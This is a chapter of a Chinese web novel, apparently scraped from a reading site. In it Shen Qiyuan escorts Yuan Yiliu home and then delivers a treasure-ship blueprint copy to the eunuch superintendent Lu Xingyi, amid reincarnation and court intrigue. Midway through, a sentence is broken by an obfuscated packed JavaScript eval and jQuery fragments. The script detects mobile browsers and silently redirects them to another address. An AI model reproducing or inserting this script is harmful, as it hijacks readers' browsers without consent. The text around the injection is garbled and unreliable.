默认冷灰
24号文字
方正启体

37. 白黎

作者:彭小仙本书字数:K更新时间:
    返程途中,沈栖元骑得飞快,风大得袁依柳嘴张大点,就能吃到沙子。


    但这对她而言,还不算最难受的。


    吃沙子问题不大,只要把嘴闭起来就行了。


    可沈栖元不知道发的什么疯,手一直箍着她的腰,力气大到她快喘不上气了。


    袁依柳知道他应该在生气,却根本不知道对方到底因为什么不高兴。


    按道理,心心念念的图纸终于到手了,能跟陆星奕交差了,难道不是件好事?


    这有什么好不高兴的?


    袁依柳一边努力做着深呼吸,以免自己因为腰部被勒地太紧,缺氧晕过去,一边感慨,男人心海底针,不是她这个雄鹰般的女人能摸透的。


    一路风驰电掣过了凤台门,进入外城后,沈栖元才迫于律令规定,不得不让马慢下来。


    但他钳制袁依柳的力度,却并没有松懈。


    袁依柳被他箍得眼泪都要下来了,先前因为一直在疾驰,她怕沈栖元分心,来个人仰马翻,全员骨折。


    这世界可没有自己上辈子的医疗水平,骨折了还不知道会受多大罪。


    既要保命,又要小心尽量少有病痛,袁依柳发誓,她是真的尽力了。


    如今速度慢下来了,她毫不犹豫地开始猛拍沈栖元箍在自己腰上的手。


    “这一路你就没发现,你用了多大的力道吗?”


    “轻一点啊大哥!我是活生生的人,会知道痛的!”


    沈栖元磨了磨后槽牙,冷笑一声。


    “方才和卢衍凑那么近,倒是不觉得难以呼吸。我和你清清白白,倒是嫌弃起我了?”


    嘴上这么说,手却很诚实地松开些许。


    还不忘警告袁依柳:“别闹!从马上摔下去,可不是好玩儿的。”


    袁依柳撇嘴,她当然知道不是好玩的,又不是小孩子,这点事都弄不明白?


    但她的确对沈栖元的话,起了狐疑之心。


    怎么听起来,有点醋味儿?


    什么叫“我和你清清白白”?


    他们两个人,这样大摇大摆地从凤台门杀了好几个来回了,估计周围的驻军早就认识他们了,哪里还有清白可言?


    袁依柳想回头去看沈栖元脸上的表情,刚侧头,就被对方掰了回去。


    “少东张西望,马上就到你家了。”


    袁依柳“哦”了一声,即便看不见沈栖元的表情,心里也一直在琢磨对方说的那些话。


    她可不相信沈栖元对自己有什么别样心思,恶感肯定是有的,好感恐怕半点都无。


    毕竟,他们两个即便谈不上死对头,但每次见面,也没有和平过,都是闹得不欢而散。


    要是这都能让对方心生好感,那她只会觉得沈栖元是日子过得太好了,没事儿找虐。


    接下来的途中,两人再无谈话。


    到了袁家门前,沈栖元先行下马,将袁依柳抱下来。


    “到了。”


    仿佛知道她要问什么,就将话提前说了。


    “我现在去找督公,将图纸拿去交差。婚事如何处置,我不能给你保证。但袁成毅,应当过几日就能出狱。”


    说完,就上马走人,也没管袁依柳到底进没进家门。


    直到出了巷口,拐了弯,确保袁依柳的视线不会看见自己,沈栖元才勒马停下,怔怔地望着巷子深处。


    已经看不见袁家,也看不见袁依柳。


    袁成毅的确很快就能出狱,他并没有骗袁依柳。


    昨日督公得知赵王串联朝中大臣,绑架卢凌后,就带着自己面圣。


    天子与督公当着他的面,商量了削藩大事。


    赵王这回,在劫难逃。


    而袁成毅这个与赵王曾有嫌隙的昔日重臣,即将重新跃上舞台,被迫成为削藩的先锋和主力军。


    沈栖元想,即便袁成毅不明内情,但凭借对方混迹官场多年的敏锐嗅觉,应当也能摸到蛛丝马迹,能明察天子心思。


    袁成毅一旦起复,袁家很快又能一如既往,重新成为各府的座上宾。


    到了那时,他与袁依柳的这桩闹剧般的婚事,就会成为笑话,成为袁家急于摆脱的麻烦。


    先前幻想的婚后生活,在此刻,悉数成为泡影,冰冷的现实仿佛在耳边讥讽嘲笑自己。


    就凭他,一个将全族都送上死路的人,又岂能得到平静的幸福。


    他的手上沾满了无数人的鲜血。


    他不配。


    沈栖元垂眸,摸了摸怀中那份宝船图纸摹本,再无留恋地催马离开。


    他要赶紧去见督公,将这份图纸拿去交差。


    然后,告诉督公,能得到这份摹本,全是袁依柳的功劳,自己并未出过半分力。


    希望督公能看在这份“功劳”的份上,能应允退婚。


    袁依柳的前世足以称得上一句惨绝人寰,好不容易有了重来一次的机会,他不想她的人生再有缺憾。


    不过幸好,这一回她靠着自己的努力,成功让袁成毅活了下来,不至于再沦落到流放境地,躲过了日后被迫成为玩物的下场。


    袁依柳,这一次,你要好好活下去。


    善政坊的陆宅前,沈栖元跳下马,望着门前那方匾额。


    而后敲开门,在小太监的引领前,去见了陆星奕。


    陆星奕今日兴致好,捧着单子在挑戏,看起来像是在筹备宴席。


    沈栖元并未得到丝毫风声,也对陆星奕想邀请谁并不关注。


    既然陆星奕选择不告诉他,那自然有他的道理,自己多问无益,只要办好对方交给自己的差事即可。


    “督公,宝船图纸从卢衍手里拿到了。”


    陆星奕挑眉,从他手里接过图纸,扫了一眼,发现纸张和墨迹都簇新,不由皱了眉。


    “确定是真的?卢衍没拿假图纸骗你?”


    “的确是真的。这是卢衍临摹的副本。我看着他画下来的。”


    陆星奕将图纸往手边的案几上一放,不动声色地问道:“为何不是原本?卢衍不肯给?”


    沈栖元没具体说原因,只道:“总得给卢家人留一条庇护子孙的活路。”


    陆星奕直直地盯着他,半晌,皮笑肉不笑地道:“白黎,你何时变得如此心软了?”


    白黎乃是沈栖元的字。


    白者,白丁,白身,百姓也。


    黎者,众也,庶也,民也。


    从沈栖元的字,可见当年他父母对他抱有多大的希望。


    只是这份希望,如今看来是那样讽刺。


    陆星奕寻常并不会直呼沈栖元的字,唯有他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997977|192095||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心情不好,或是要发怒时,才会这样称呼。


    沈栖元当即单膝点地,垂首谢罪。


    “督公息怒,属下有罪。”


    陆星奕懒洋洋地将身体靠向身后的椅背,将案几上图纸重新捞起,在半空中摇着。


    “你都将图纸拿回来了,又何罪之有?”


    “我只是不喜你妇人之仁罢了。”


    “栖元,我将北镇抚司这么重要的地方交给你,你可知我其中深意?”


    “属下明白。”


    “陛下年幼尚未亲政,后宫中,陛下生母孝宣太后又无法于昭惠太后抗衡。朝臣或轻视陛下,或依附于昭惠太后。”


    “督公于危难之际,匡扶陛下于风雨交加,所言所行,皆为国为君。”


    “朝中六部被奸佞把持,督公唯有借内廷之力,方能与奸臣抗衡,行忠君之事。”


    “督公信任属下,才将北镇抚司之刑名重担交予属下。今属下行事有瑕,有负督公所托,属下惭愧。”


    陆星奕垂眸,淡漠地望着跪在自己面前请罪的沈栖元。


    良久,他长叹一声,起身亲自将沈栖元扶起来。


    “你我相识于微末,能有今日这番成就实属不易。我只怕你被袁成毅那幼妹扰了心魂,忘了自身职责。”


    “既然你心中有数,那我也就不必多言。日后你好自为之。”


    “是。”


    沈栖元依旧垂眸,并不直视陆星奕,却又觉得对方这话听起来刺耳极了。


    若他并非重生者,恐怕此时听到这番话,定会羞愧难当。


    可实际上,知道未来的自己,更清楚他与督公之间,究竟谁才是那个真正忘了“自身职责”之人。


    陆星奕拍了拍沈栖元的肩膀。


    “这几日,为这宝船图纸,你也是费了不少心思,恐怕几宿都没怎么合过眼。”


    “上厢房去眯会儿吧。养足了精神,才能更好地为陛下效力。”


    “属下领命。”


    目送沈栖元离开,陆星奕早已没了先前挑选戏目的心思。


    重新躺回椅子,余光触及交叠在一起的宝船图纸摹本和戏单,颇感厌烦地收回目光,闭目养神。


    眼前又浮现出那张娇怯可人的面庞。


    陆星奕的嘴角几不可见地轻笑,闭着眼将手伸向案几,凭借手感摸索到那份戏单,抖了抖,睁开眼又重新仔细选了起来。


    一连勾了好几出戏,又确认无误,他招来服侍的小太监。


    “送去养在后头的家班,让他们这几日加紧排练,几日后,我要在府里宴客,就演这几出。”


    “是。”


    了却一桩心事的陆星奕,哼着曲儿,躺在摇椅上一晃一晃,不多时,便发出轻轻的鼾声。


    为他打扇的小太监朝另一人使了个眼色,示意对方去取薄毯,为陆星奕盖上。


    宅内的扰人夏蝉早用粘杆抓了个干净,安静的陆宅,此时最适合补眠。


    可惜躺在厢房的沈栖元,一直睁着眼睛,毫无睡意。


    方才陆星奕的话语,还在他耳边回荡。


    长长的叹息中,带着一丝歉意。


    袁依柳,看来即便老天给了你重来的机会,却也只是比上辈子好了那么一丁点罢了。


    你我注定要成为一对怨偶。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)